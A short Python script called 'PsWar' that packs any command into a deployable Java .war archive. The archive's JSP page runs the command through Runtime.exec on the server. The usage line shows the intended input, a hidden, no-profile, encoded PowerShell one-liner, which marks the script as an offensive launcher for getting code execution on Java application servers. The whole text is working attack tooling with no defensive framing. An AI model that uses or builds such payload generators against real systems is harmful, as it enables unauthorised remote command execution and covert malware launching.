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PsWar
#!/usr/bin/python
# Code that quickly generates a deployable .war for a PowerShell one-liner
import zipfile
import StringIO
import sys
def generatePsWar(psCmd, appName):
# .war manifest
manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_35 (Sun Microsystems Inc.)\r\n\r\n"
# Create initial JSP and Web XML Strings with placeholders
jspCode = '''<%@ page import="java.io.*" %>
<%
Process p=Runtime.getRuntime().exec("'''+str(psCmd)+'''");
%>
'''
# .xml deployment config
wxmlCode = '''<?xml version="1.0"?>
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<servlet>
<servlet-name>%s</servlet-name>
<jsp-file>/%s.jsp</jsp-file>
</servlet>
</web-app>
''' %(appName, appName)
# build the in-memory ZIP and write the three files in
warFile = StringIO.StringIO()
zipData = zipfile.ZipFile(warFile, 'w', zipfile.ZIP_DEFLATED)
zipData.writestr("META-INF/MANIFEST.MF", manifest)
zipData.writestr("WEB-INF/web.xml", wxmlCode)
zipData.writestr(appName + ".jsp", jspCode)
zipData.close()
return warFile.getvalue()
if len(sys.argv) != 2:
print "\nUsage: ./pswar.py 'powershell -w hidden -nop -enc BLAH'\n"
else:
war = generatePsWar(sys.argv[1], 'launcher')
f = open("launcher.war", 'wb')
f.write(war)
f.close()
print "\nLauncher WAR written to launcher.war\n"
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